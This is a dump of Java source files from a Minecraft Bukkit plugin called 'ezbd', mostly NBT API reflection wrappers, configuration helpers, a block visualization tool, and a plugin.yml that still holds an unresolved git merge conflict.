/me/ego/ezbd/lib/fo/remain/nbt/NBTContainer.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain.nbt; 2 | 3 | import java.io.InputStream; 4 | import me.ego.ezbd.lib.fo.exception.FoException; 5 | 6 | public class NBTContainer extends NBTCompound { 7 | private Object nbt; 8 | 9 | public NBTContainer() { 10 | super((NBTCompound)null, (String)null); 11 | this.nbt = WrapperObject.NMS_NBTTAGCOMPOUND.getInstance(new Object[0]); 12 | } 13 | 14 | public NBTContainer(Object nbt) { 15 | super((NBTCompound)null, (String)null); 16 | if (nbt == null) { 17 | throw new NullPointerException("The NBT-Object can't be null!"); 18 | } else if (!WrapperClass.NMS_NBTTAGCOMPOUND.getClazz().isAssignableFrom(nbt.getClass())) { 19 | throw new FoException("The object '" + nbt.getClass() + "' is not a valid NBT-Object!"); 20 | } else { 21 | this.nbt = nbt; 22 | } 23 | } 24 | 25 | public NBTContainer(InputStream inputsteam) { 26 | super((NBTCompound)null, (String)null); 27 | this.nbt = NBTReflectionUtil.readNBT(inputsteam); 28 | } 29 | 30 | public NBTContainer(String nbtString) { 31 | super((NBTCompound)null, (String)null); 32 | if (nbtString == null) { 33 | throw new NullPointerException("The String can't be null!"); 34 | } else { 35 | try { 36 | this.nbt = WrapperReflection.PARSE_NBT.run((Object)null, new Object[]{nbtString}); 37 | } catch (Exception var3) { 38 | throw new FoException(var3, "Unable to parse a malformed json!"); 39 | } 40 | } 41 | } 42 | 43 | public Object getCompound() { 44 | return this.nbt; 45 | } 46 | 47 | public void setCompound(Object tag) { 48 | this.nbt = tag; 49 | } 50 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/nbt/NBTDoubleList.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain.nbt; 2 | 3 | import java.lang.reflect.Constructor; 4 | import java.lang.reflect.InvocationTargetException; 5 | import me.ego.ezbd.lib.fo.exception.FoException; 6 | 7 | public class NBTDoubleList extends NBTList { 8 | protected NBTDoubleList(NBTCompound owner, String name, NBTType type, Object list) { 9 | super(owner, name, type, list); 10 | } 11 | 12 | protected Object asTag(Double object) { 13 | try { 14 | Constructor con = WrapperClass.NMS_NBTTAGDOUBLE.getClazz().getDeclaredConstructor(Double.TYPE); 15 | con.setAccessible(true); 16 | return con.newInstance(object); 17 | } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException | NoSuchMethodException | SecurityException | InstantiationException var3) { 18 | throw new FoException(var3, "Error while wrapping the Object " + object + " to it's NMS object!"); 19 | } 20 | } 21 | 22 | public Double get(int index) { 23 | try { 24 | Object obj = WrapperReflection.LIST_GET.run(this.listObject, new Object[]{index}); 25 | return Double.parseDouble(obj.toString()); 26 | } catch (NumberFormatException var3) { 27 | return 0.0D; 28 | } catch (Exception var4) { 29 | throw new FoException(var4); 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/nbt/NBTEntity.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain.nbt; 2 | 3 | import org.bukkit.entity.Entity; 4 | 5 | public class NBTEntity extends NBTCompound { 6 | private final Entity ent; 7 | 8 | public NBTEntity(Entity entity) { 9 | super((NBTCompound)null, (String)null); 10 | if (entity == null) { 11 | throw new NullPointerException("Entity can't be null!"); 12 | } else { 13 | this.ent = entity; 14 | } 15 | } 16 | 17 | public Object getCompound() { 18 | return NBTReflectionUtil.getEntityNBTTagCompound(NBTReflectionUtil.getNMSEntity(this.ent)); 19 | } 20 | 21 | protected void setCompound(Object compound) { 22 | NBTReflectionUtil.setEntityNBTTag(compound, NBTReflectionUtil.getNMSEntity(this.ent)); 23 | } 24 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/nbt/NBTFile.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain.nbt; 2 | 3 | import java.io.File; 4 | import java.io.FileInputStream; 5 | import java.io.FileOutputStream; 6 | import java.io.IOException; 7 | 8 | public class NBTFile extends NBTCompound { 9 | private final File file; 10 | private Object nbt; 11 | 12 | public NBTFile(File file) throws IOException { 13 | super((NBTCompound)null, (String)null); 14 | if (file == null) { 15 | throw new NullPointerException("File can't be null!"); 16 | } else { 17 | this.file = file; 18 | if (file.exists()) { 19 | FileInputStream inputsteam = new FileInputStream(file); 20 | this.nbt = NBTReflectionUtil.readNBT(inputsteam); 21 | } else { 22 | this.nbt = WrapperObject.NMS_NBTTAGCOMPOUND.getInstance(new Object[0]); 23 | this.save(); 24 | } 25 | 26 | } 27 | } 28 | 29 | public void save() throws IOException { 30 | try { 31 | this.getWriteLock().lock(); 32 | if (!this.file.exists()) { 33 | this.file.getParentFile().mkdirs(); 34 | if (!this.file.createNewFile()) { 35 | throw new IOException("Unable to create file at " + this.file.getAbsolutePath()); 36 | } 37 | } 38 | 39 | FileOutputStream outStream = new FileOutputStream(this.file); 40 | NBTReflectionUtil.writeNBT(this.nbt, outStream); 41 | } finally { 42 | this.getWriteLock().unlock(); 43 | } 44 | 45 | } 46 | 47 | public File getFile() { 48 | return this.file; 49 | } 50 | 51 | public Object getCompound() { 52 | return this.nbt; 53 | } 54 | 55 | protected void setCompound(Object compound) { 56 | this.nbt = compound; 57 | } 58 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/nbt/NBTFloatList.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain.nbt; 2 | 3 | import java.lang.reflect.Constructor; 4 | import java.lang.reflect.InvocationTargetException; 5 | import me.ego.ezbd.lib.fo.exception.FoException; 6 | 7 | public class NBTFloatList extends NBTList { 8 | protected NBTFloatList(NBTCompound owner, String name, NBTType type, Object list) { 9 | super(owner, name, type, list); 10 | } 11 | 12 | protected Object asTag(Float object) { 13 | try { 14 | Constructor con = WrapperClass.NMS_NBTTAGFLOAT.getClazz().getDeclaredConstructor(Float.TYPE); 15 | con.setAccessible(true); 16 | return con.newInstance(object); 17 | } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException | NoSuchMethodException | SecurityException | InstantiationException var3) { 18 | throw new FoException(var3, "Error while wrapping the Object " + object + " to it's NMS object!"); 19 | } 20 | } 21 | 22 | public Float get(int index) { 23 | try { 24 | Object obj = WrapperReflection.LIST_GET.run(this.listObject, new Object[]{index}); 25 | return Float.parseFloat(obj.toString()); 26 | } catch (NumberFormatException var3) { 27 | return 0.0F; 28 | } catch (Exception var4) { 29 | throw new FoException(var4); 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/nbt/NBTIntegerList.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain.nbt; 2 | 3 | import java.lang.reflect.Constructor; 4 | import java.lang.reflect.InvocationTargetException; 5 | import me.ego.ezbd.lib.fo.exception.FoException; 6 | 7 | public class NBTIntegerList extends NBTList { 8 | protected NBTIntegerList(NBTCompound owner, String name, NBTType type, Object list) { 9 | super(owner, name, type, list); 10 | } 11 | 12 | protected Object asTag(Integer object) { 13 | try { 14 | Constructor con = WrapperClass.NMS_NBTTAGINT.getClazz().getDeclaredConstructor(Integer.TYPE); 15 | con.setAccessible(true); 16 | return con.newInstance(object); 17 | } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException | NoSuchMethodException | SecurityException | InstantiationException var3) { 18 | throw new FoException(var3, "Error while wrapping the Object " + object + " to it's NMS object!"); 19 | } 20 | } 21 | 22 | public Integer get(int index) { 23 | try { 24 | Object obj = WrapperReflection.LIST_GET.run(this.listObject, new Object[]{index}); 25 | return Integer.parseInt(obj.toString()); 26 | } catch (NumberFormatException var3) { 27 | return 0; 28 | } catch (Exception var4) { 29 | throw new FoException(var4); 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/nbt/NBTListCompound.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain.nbt; 2 | 3 | public class NBTListCompound extends NBTCompound { 4 | private final NBTList owner; 5 | private Object compound; 6 | 7 | protected NBTListCompound(NBTList parent, Object obj) { 8 | super((NBTCompound)null, (String)null); 9 | this.owner = parent; 10 | this.compound = obj; 11 | } 12 | 13 | public NBTList getListParent() { 14 | return this.owner; 15 | } 16 | 17 | public Object getCompound() { 18 | return this.compound; 19 | } 20 | 21 | protected void setCompound(Object compound) { 22 | this.compound = compound; 23 | } 24 | 25 | protected void saveCompound() { 26 | this.owner.save(); 27 | } 28 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/nbt/NBTLongList.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain.nbt; 2 | 3 | import java.lang.reflect.Constructor; 4 | import java.lang.reflect.InvocationTargetException; 5 | import me.ego.ezbd.lib.fo.exception.FoException; 6 | 7 | public class NBTLongList extends NBTList { 8 | protected NBTLongList(NBTCompound owner, String name, NBTType type, Object list) { 9 | super(owner, name, type, list); 10 | } 11 | 12 | protected Object asTag(Long object) { 13 | try { 14 | Constructor con = WrapperClass.NMS_NBTTAGLONG.getClazz().getDeclaredConstructor(Long.TYPE); 15 | con.setAccessible(true); 16 | return con.newInstance(object); 17 | } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException | NoSuchMethodException | SecurityException | InstantiationException var3) { 18 | throw new FoException(var3, "Error while wrapping the Object " + object + " to it's NMS object!"); 19 | } 20 | } 21 | 22 | public Long get(int index) { 23 | try { 24 | Object obj = WrapperReflection.LIST_GET.run(this.listObject, new Object[]{index}); 25 | return Long.parseLong(obj.toString().replace("L", "")); 26 | } catch (NumberFormatException var3) { 27 | return 0L; 28 | } catch (Exception var4) { 29 | throw new FoException(var4); 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/nbt/NBTStringList.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain.nbt; 2 | 3 | import java.lang.reflect.Constructor; 4 | import java.lang.reflect.InvocationTargetException; 5 | import me.ego.ezbd.lib.fo.exception.FoException; 6 | 7 | public class NBTStringList extends NBTList { 8 | protected NBTStringList(NBTCompound owner, String name, NBTType type, Object list) { 9 | super(owner, name, type, list); 10 | } 11 | 12 | public String get(int index) { 13 | try { 14 | return (String)WrapperReflection.LIST_GET_STRING.run(this.listObject, new Object[]{index}); 15 | } catch (Exception var3) { 16 | throw new FoException(var3); 17 | } 18 | } 19 | 20 | protected Object asTag(String object) { 21 | try { 22 | Constructor con = WrapperClass.NMS_NBTTAGSTRING.getClazz().getDeclaredConstructor(String.class); 23 | con.setAccessible(true); 24 | return con.newInstance(object); 25 | } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException | NoSuchMethodException | SecurityException | InstantiationException var3) { 26 | throw new FoException(var3, "Error while wrapping the Object " + object + " to it's NMS object!"); 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/nbt/NBTTitleEntity.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain.nbt; 2 | 3 | import org.bukkit.block.BlockState; 4 | 5 | public class NBTTileEntity extends NBTCompound { 6 | private final BlockState tile; 7 | 8 | public NBTTileEntity(BlockState tile) { 9 | super((NBTCompound)null, (String)null); 10 | if (tile != null && (!WrapperVersion.isAtLeastVersion(WrapperVersion.MC1_8_R3) || tile.isPlaced())) { 11 | this.tile = tile; 12 | } else { 13 | throw new NullPointerException("Tile can't be null/not placed!"); 14 | } 15 | } 16 | 17 | public Object getCompound() { 18 | return NBTReflectionUtil.getTileEntityNBTTagCompound(this.tile); 19 | } 20 | 21 | protected void setCompound(Object compound) { 22 | NBTReflectionUtil.setTileEntityNBTTagCompound(this.tile, compound); 23 | } 24 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/nbt/NBTType.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain.nbt; 2 | 3 | public enum NBTType { 4 | NBTTagEnd(0), 5 | NBTTagByte(1), 6 | NBTTagShort(2), 7 | NBTTagInt(3), 8 | NBTTagLong(4), 9 | NBTTagFloat(5), 10 | NBTTagDouble(6), 11 | NBTTagByteArray(7), 12 | NBTTagIntArray(11), 13 | NBTTagString(8), 14 | NBTTagList(9), 15 | NBTTagCompound(10); 16 | 17 | private final int id; 18 | 19 | private NBTType(int i) { 20 | this.id = i; 21 | } 22 | 23 | public int getId() { 24 | return this.id; 25 | } 26 | 27 | public static NBTType valueOf(int id) { 28 | NBTType[] var1 = values(); 29 | int var2 = var1.length; 30 | 31 | for(int var3 = 0; var3 < var2; ++var3) { 32 | NBTType t = var1[var3]; 33 | if (t.getId() == id) { 34 | return t; 35 | } 36 | } 37 | 38 | return NBTTagEnd; 39 | } 40 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/nbt/WrapperObject.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain.nbt; 2 | 3 | import java.lang.reflect.Constructor; 4 | import me.ego.ezbd.lib.fo.Common; 5 | import me.ego.ezbd.lib.fo.exception.FoException; 6 | 7 | enum WrapperObject { 8 | NMS_NBTTAGCOMPOUND((WrapperVersion)null, (WrapperVersion)null, WrapperClass.NMS_NBTTAGCOMPOUND.getClazz(), new Class[0]), 9 | NMS_BLOCKPOSITION((WrapperVersion)null, (WrapperVersion)null, WrapperClass.NMS_BLOCKPOSITION.getClazz(), new Class[]{Integer.TYPE, Integer.TYPE, Integer.TYPE}), 10 | NMS_COMPOUNDFROMITEM(WrapperVersion.MC1_11_R1, (WrapperVersion)null, WrapperClass.NMS_ITEMSTACK.getClazz(), new Class[]{WrapperClass.NMS_NBTTAGCOMPOUND.getClazz()}); 11 | 12 | private Constructor construct; 13 | private Class targetClass; 14 | 15 | private WrapperObject(WrapperVersion from, WrapperVersion to, Class clazz, Class... args) { 16 | if (clazz != null) { 17 | if (from == null || WrapperVersion.getVersion().getVersionId() >= from.getVersionId()) { 18 | if (to == null || WrapperVersion.getVersion().getVersionId() <= to.getVersionId()) { 19 | try { 20 | this.targetClass = clazz; 21 | this.construct = clazz.getDeclaredConstructor(args); 22 | this.construct.setAccessible(true); 23 | } catch (Exception var8) { 24 | Common.error(var8, new String[]{"Unable to find the constructor for the class '" + clazz.getName() + "'"}); 25 | } 26 | 27 | } 28 | } 29 | } 30 | } 31 | 32 | public Object getInstance(Object... args) { 33 | try { 34 | return this.construct.newInstance(args); 35 | } catch (Exception var3) { 36 | throw new FoException(var3, "Exception while creating a new instance of '" + this.targetClass + "'"); 37 | } 38 | } 39 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/nbt/WrapperPackage.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain.nbt; 2 | 3 | enum WrapperPackage { 4 | NMS(new String(new byte[]{110, 101, 116, 46, 109, 105, 110, 101, 99, 114, 97, 102, 116, 46, 115, 101, 114, 118, 101, 114})), 5 | CRAFTBUKKIT(new String(new byte[]{111, 114, 103, 46, 98, 117, 107, 107, 105, 116, 46, 99, 114, 97, 102, 116, 98, 117, 107, 107, 105, 116})); 6 | 7 | private final String uri; 8 | 9 | private WrapperPackage(String uri) { 10 | this.uri = uri; 11 | } 12 | 13 | public String getUri() { 14 | return this.uri; 15 | } 16 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/remain/nbt/WrapperVersion.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.remain.nbt; 2 | 3 | import me.ego.ezbd.lib.fo.Common; 4 | import org.bukkit.Bukkit; 5 | 6 | enum WrapperVersion { 7 | UNKNOWN(2147483647), 8 | MC1_7_R4(174), 9 | MC1_8_R3(183), 10 | MC1_9_R1(191), 11 | MC1_9_R2(192), 12 | MC1_10_R1(1101), 13 | MC1_11_R1(1111), 14 | MC1_12_R1(1121), 15 | MC1_13_R1(1131), 16 | MC1_13_R2(1132), 17 | MC1_14_R1(1141), 18 | MC1_15_R1(1151), 19 | MC1_16_R1(1161), 20 | MC1_16_R2(1162), 21 | MC1_16_R3(1163); 22 | 23 | private static WrapperVersion version; 24 | private final int versionId; 25 | 26 | private WrapperVersion(int versionId) { 27 | this.versionId = versionId; 28 | } 29 | 30 | public int getVersionId() { 31 | return this.versionId; 32 | } 33 | 34 | public static boolean isAtLeastVersion(WrapperVersion version) { 35 | return getVersion().getVersionId() >= version.getVersionId(); 36 | } 37 | 38 | public static boolean isNewerThan(WrapperVersion version) { 39 | return getVersion().getVersionId() > version.getVersionId(); 40 | } 41 | 42 | public static WrapperVersion getVersion() { 43 | if (version != null) { 44 | return version; 45 | } else { 46 | String ver = Bukkit.getServer().getClass().getPackage().getName().split("\\.")[3]; 47 | 48 | try { 49 | version = valueOf(ver.replace("v", "MC")); 50 | } catch (IllegalArgumentException var2) { 51 | version = UNKNOWN; 52 | } 53 | 54 | if (version == UNKNOWN) { 55 | Common.log(new String[]{"[NBTAPI] Wasn't able to find NMS Support! Some functions may not work!"}); 56 | } 57 | 58 | return version; 59 | } 60 | } 61 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/settings/LegacyEnum.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.settings; 2 | 3 | import java.util.Arrays; 4 | import java.util.List; 5 | import me.ego.ezbd.lib.fo.collection.StrictMap; 6 | import org.bukkit.event.entity.CreatureSpawnEvent.SpawnReason; 7 | 8 | final class LegacyEnum { 9 | private static final StrictMap>, List> INCOMPATIBLE_TYPES = new StrictMap(); 10 | 11 | LegacyEnum() { 12 | } 13 | 14 | public static > boolean isIncompatible(Class type, String enumName) { 15 | List types = (List)INCOMPATIBLE_TYPES.get(type); 16 | return types != null && types.contains(enumName.toUpperCase().replace(" ", "_")); 17 | } 18 | 19 | static { 20 | INCOMPATIBLE_TYPES.put(SpawnReason.class, Arrays.asList("DROWNED")); 21 | } 22 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/settings/YamlSectionConfig.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.settings; 2 | 3 | import java.util.Objects; 4 | import me.ego.ezbd.lib.fo.Valid; 5 | 6 | public abstract class YamlSectionConfig extends YamlConfig { 7 | private String localPathPrefix = ""; 8 | 9 | protected YamlSectionConfig(String sectionPrefix) { 10 | super.pathPrefix(sectionPrefix); 11 | } 12 | 13 | public final boolean isSectionValid() { 14 | return this.getObject("") != null; 15 | } 16 | 17 | public final void deleteSection() { 18 | this.save("", (Object)null); 19 | } 20 | 21 | public final String getSection() { 22 | return this.getPathPrefix(); 23 | } 24 | 25 | protected final void pathPrefix(String localPathPrefix) { 26 | if (localPathPrefix != null) { 27 | Valid.checkBoolean(!localPathPrefix.endsWith("."), "Path prefix must not end with a dot: " + localPathPrefix, new Object[0]); 28 | } 29 | 30 | this.localPathPrefix = localPathPrefix != null && !localPathPrefix.isEmpty() ? localPathPrefix : null; 31 | } 32 | 33 | protected final String formPathPrefix(String myPath) { 34 | String path = ""; 35 | if (this.getPathPrefix() != null && !this.getPathPrefix().isEmpty()) { 36 | path = path + this.getPathPrefix() + "."; 37 | } 38 | 39 | if (this.localPathPrefix != null && !this.localPathPrefix.isEmpty()) { 40 | path = path + this.localPathPrefix + "."; 41 | } 42 | 43 | path = path + myPath; 44 | return path.endsWith(".") ? path.substring(0, path.length() - 1) : path; 45 | } 46 | 47 | public String toString() { 48 | return "YamlSection{file=" + this.getFileName() + ", section=" + super.getPathPrefix() + ", local path=" + this.localPathPrefix + "}"; 49 | } 50 | 51 | public boolean equals(Object obj) { 52 | if (!(obj instanceof YamlSectionConfig)) { 53 | return false; 54 | } else { 55 | YamlSectionConfig c = (YamlSectionConfig)obj; 56 | return c.getFileName().equals(this.getFileName()) && c.getPathPrefix().equals(this.getPathPrefix()) && Objects.deepEquals(c.localPathPrefix, this.localPathPrefix); 57 | } 58 | } 59 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/visual/VisualTool.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.visual; 2 | 3 | import java.util.Iterator; 4 | import java.util.List; 5 | import lombok.NonNull; 6 | import me.ego.ezbd.lib.fo.menu.tool.BlockTool; 7 | import me.ego.ezbd.lib.fo.remain.CompMaterial; 8 | import org.bukkit.Location; 9 | import org.bukkit.block.Block; 10 | import org.bukkit.entity.Player; 11 | import org.bukkit.event.inventory.ClickType; 12 | 13 | public abstract class VisualTool extends BlockTool { 14 | protected final void onBlockClick(Player player, ClickType click, Block block) { 15 | this.stopVisualizing(player); 16 | this.handleBlockClick(player, click, block); 17 | this.visualize(player); 18 | } 19 | 20 | protected abstract void handleBlockClick(Player var1, ClickType var2, Block var3); 21 | 22 | protected final void onAirClick(Player player, ClickType click) { 23 | this.stopVisualizing(player); 24 | this.handleAirClick(player, click); 25 | this.visualize(player); 26 | } 27 | 28 | protected void handleAirClick(Player player, ClickType click) { 29 | } 30 | 31 | protected final void onHotbarFocused(Player player) { 32 | this.visualize(player); 33 | } 34 | 35 | protected final void onHotbarDefocused(Player player) { 36 | this.stopVisualizing(player); 37 | } 38 | 39 | protected abstract List getVisualizedPoints(Player var1); 40 | 41 | protected VisualizedRegion getVisualizedRegion(Player player) { 42 | return null; 43 | } 44 | 45 | protected abstract String getBlockName(Block var1, Player var2); 46 | 47 | protected abstract CompMaterial getBlockMask(Block var1, Player var2); 48 | 49 | private void visualize(@NonNull Player player) { 50 | if (player == null) { 51 | throw new NullPointerException("player is marked non-null but is null"); 52 | } else { 53 | VisualizedRegion region = this.getVisualizedRegion(player); 54 | if (region != null && region.isWhole() && !region.canSeeParticles(player)) { 55 | region.showParticles(player); 56 | } 57 | 58 | Iterator var3 = this.getVisualizedPoints(player).iterator(); 59 | 60 | while(var3.hasNext()) { 61 | Location location = (Location)var3.next(); 62 | if (location != null) { 63 | Block block = location.getBlock(); 64 | if (!BlockVisualizer.isVisualized(block)) { 65 | BlockVisualizer.visualize(block, this.getBlockMask(block, player), this.getBlockName(block, player)); 66 | } 67 | } 68 | } 69 | 70 | } 71 | } 72 | 73 | private void stopVisualizing(@NonNull Player player) { 74 | if (player == null) { 75 | throw new NullPointerException("player is marked non-null but is null"); 76 | } else { 77 | VisualizedRegion region = this.getVisualizedRegion(player); 78 | if (region != null && region.canSeeParticles(player)) { 79 | region.hideParticles(player); 80 | } 81 | 82 | Iterator var3 = this.getVisualizedPoints(player).iterator(); 83 | 84 | while(var3.hasNext()) { 85 | Location location = (Location)var3.next(); 86 | if (location != null) { 87 | Block block = location.getBlock(); 88 | if (BlockVisualizer.isVisualized(block)) { 89 | BlockVisualizer.stopVisualizing(block); 90 | } 91 | } 92 | } 93 | 94 | } 95 | } 96 | 97 | protected VisualTool() { 98 | } 99 | } -------------------------------------------------------------------------------- /plugin.yml: -------------------------------------------------------------------------------- 1 | # 2 | # This is the file your server opens to find the main class 3 | # of your plugin and its information. We automatically replace 4 | # many variables here from your pom.xml file. 5 | # 6 | # See https://www.spigotmc.org/wiki/plugin-yml/ for more 7 | # information . 8 | # 9 | # NB: Please do not register commands here, these are done 10 | # directly in our plugin using Foundation :) 11 | # 12 | name: ezbd 13 | version: 1.0.0 14 | main: me.ego.ezbd.EZBDPlugin 15 | <<<<<<< HEAD 16 | author: SSLWasTaken 17 | api-version: 1.13 18 | ======= 19 | author: SSL 20 | api-version: 1.13 21 | >>>>>>> a4d74c56ce0daab8a510974f5f1b9fee3283c273 22 | --------------------------------------------------------------------------------